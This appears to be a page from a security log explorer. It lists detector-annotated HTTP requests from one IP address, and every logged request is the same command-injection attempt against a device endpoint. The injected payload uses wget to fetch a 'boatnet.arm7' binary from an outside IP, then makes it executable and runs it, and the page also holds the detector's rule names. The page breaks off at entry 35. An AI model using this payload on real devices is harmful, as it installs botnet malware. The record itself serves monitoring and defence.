← Back to IP report

Log Explorer

Fact drill-down for 144.172.97.117

Risk 37 MED Scope All time All-time facts 90 In-scope 90 Filtered 90 Seen 2025-09-28 → 2025-09-30

Reset (all-time)

Active (none) Clear

Faceted filters (facts-based) exact core + snapshot + optional start/end

Annotation facets

HTTP facets

Snapshot facets

Custom time window (optional override)

Provide start/end to scope time explicitly (overrides days). Leave blank for all-time.

Tip: keep windows tight when you need speed, but the default is fact-complete.

Top annotators (facts, in-scope)

cmdi 45 base 15 sfp 15 ua 15

Top labels (facts, in-scope)

cmdi 45 sensitive_file 15 observed 15 ua 15

Click a pill to apply it as a filter.

Annotated access events

Showing page 1 / 2 — total 90 rows

← Prev Next →

#1 2025-09-30 19:46:18 event 18025413 POST 301 bytes 178

ann ua 8 label ua

Request Truncated Mozilla User-Agent token

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

rule

ua:truncated_mozilla

conf

70.00

details

Common placeholder UA used by simplistic clients.

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2A%3B%20.%2Fboatnet.arm7%20tbk

referer

Mozilla/5.0

summary

Truncated Mozilla User-Agent token

details

Common placeholder UA used by simplistic clients.

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#2 2025-09-30 19:46:18 event 18025413 POST 301 bytes 178

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatn'

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatn'

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#3 2025-09-30 19:46:18 event 18025413 POST 301 bytes 178

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

event observed

details

—

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#4 2025-09-30 19:46:18 event 18025413 POST 301 bytes 178

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:encoded_sep_in_param

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

cmdi

rule

cmdi:encoded_sep_in_param

conf

78.00

details

Encoded command separator/newline inside suspicious parameter context. Snippet='?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fh'

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Command/file-injection indicator: cmdi:encoded_sep_in_param

details

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#5 2025-09-30 19:46:18 event 18025413 POST 301 bytes 178

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

Command separator/operator combined with a recognized command token. Snippet='__S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd /tmp;rm boatnet.arm7; wget http://103.77.241.50/hiddenbin/boatnet.arm7; chmod 777 *; .'

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#6 2025-09-30 19:46:18 event 18025413 POST 301 bytes 178

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

Suspicious command parameter combined with a recognized command token. Snippet='__S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd /tmp;rm boatnet.arm7; wget http://103.77.241.50/hiddenbin/boatnet.arm7; chmod 777 *; .'

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#7 2025-09-30 18:48:06 event 18000293 POST 301 bytes 178

ann ua 8 label ua

Request Truncated Mozilla User-Agent token

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

rule

ua:truncated_mozilla

conf

70.00

details

Common placeholder UA used by simplistic clients.

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Truncated Mozilla User-Agent token

details

Common placeholder UA used by simplistic clients.

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#8 2025-09-30 18:48:06 event 18000293 POST 301 bytes 178

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatn'

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatn'

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#9 2025-09-30 18:48:06 event 18000293 POST 301 bytes 178

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

event observed

details

—

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#10 2025-09-30 18:48:06 event 18000293 POST 301 bytes 178

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:encoded_sep_in_param

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

cmdi

rule

cmdi:encoded_sep_in_param

conf

78.00

details

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Command/file-injection indicator: cmdi:encoded_sep_in_param

details

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#11 2025-09-30 18:48:06 event 18000293 POST 301 bytes 178

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#12 2025-09-30 18:48:06 event 18000293 POST 301 bytes 178

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#13 2025-09-30 02:22:09 event 17410566 POST 301 bytes 178

ann ua 8 label ua

Request Truncated Mozilla User-Agent token

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

rule

ua:truncated_mozilla

conf

70.00

details

Common placeholder UA used by simplistic clients.

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Truncated Mozilla User-Agent token

details

Common placeholder UA used by simplistic clients.

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#14 2025-09-30 02:22:09 event 17410566 POST 301 bytes 178

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatn'

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatn'

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#15 2025-09-30 02:22:09 event 17410566 POST 301 bytes 178

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

event observed

details

—

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#16 2025-09-30 02:22:09 event 17410566 POST 301 bytes 178

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:encoded_sep_in_param

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

cmdi

rule

cmdi:encoded_sep_in_param

conf

78.00

details

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Command/file-injection indicator: cmdi:encoded_sep_in_param

details

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#17 2025-09-30 02:22:09 event 17410566 POST 301 bytes 178

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#18 2025-09-30 02:22:09 event 17410566 POST 301 bytes 178

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#19 2025-09-29 17:04:17 event 17076800 POST 301 bytes 178

ann ua 8 label ua

Request Truncated Mozilla User-Agent token

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

rule

ua:truncated_mozilla

conf

70.00

details

Common placeholder UA used by simplistic clients.

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Truncated Mozilla User-Agent token

details

Common placeholder UA used by simplistic clients.

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#20 2025-09-29 17:04:17 event 17076800 POST 301 bytes 178

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatn'

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatn'

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#21 2025-09-29 17:04:17 event 17076800 POST 301 bytes 178

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

event observed

details

—

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#22 2025-09-29 17:04:17 event 17076800 POST 301 bytes 178

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:encoded_sep_in_param

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

cmdi

rule

cmdi:encoded_sep_in_param

conf

78.00

details

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Command/file-injection indicator: cmdi:encoded_sep_in_param

details

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#23 2025-09-29 17:04:17 event 17076800 POST 301 bytes 178

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#24 2025-09-29 17:04:17 event 17076800 POST 301 bytes 178

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#25 2025-09-29 15:49:46 event 17008768 POST 301 bytes 178

ann ua 8 label ua

Request Truncated Mozilla User-Agent token

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

rule

ua:truncated_mozilla

conf

70.00

details

Common placeholder UA used by simplistic clients.

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Truncated Mozilla User-Agent token

details

Common placeholder UA used by simplistic clients.

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#26 2025-09-29 15:49:46 event 17008768 POST 301 bytes 178

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatn'

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatn'

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#27 2025-09-29 15:49:46 event 17008768 POST 301 bytes 178

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

event observed

details

—

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#28 2025-09-29 15:49:46 event 17008768 POST 301 bytes 178

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:encoded_sep_in_param

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

cmdi

rule

cmdi:encoded_sep_in_param

conf

78.00

details

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Command/file-injection indicator: cmdi:encoded_sep_in_param

details

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#29 2025-09-29 15:49:46 event 17008768 POST 301 bytes 178

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#30 2025-09-29 15:49:46 event 17008768 POST 301 bytes 178

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#31 2025-09-29 03:55:34 event 16435919 POST 301 bytes 178

ann ua 8 label ua

Request Truncated Mozilla User-Agent token

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

rule

ua:truncated_mozilla

conf

70.00

details

Common placeholder UA used by simplistic clients.

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Truncated Mozilla User-Agent token

details

Common placeholder UA used by simplistic clients.

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#32 2025-09-29 03:55:34 event 16435917 POST 301 bytes 178

ann ua 8 label ua

Request Truncated Mozilla User-Agent token

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

rule

ua:truncated_mozilla

conf

70.00

details

Common placeholder UA used by simplistic clients.

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Truncated Mozilla User-Agent token

details

Common placeholder UA used by simplistic clients.

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#33 2025-09-29 03:55:34 event 16435919 POST 301 bytes 178

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatn'

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatn'

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#34 2025-09-29 03:55:34 event 16435917 POST 301 bytes 178

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatn'

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatn'

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#35 2025-09-29 03:55:34 event 16435919 POST 301 bytes 178

ann base label observed

Request event observed

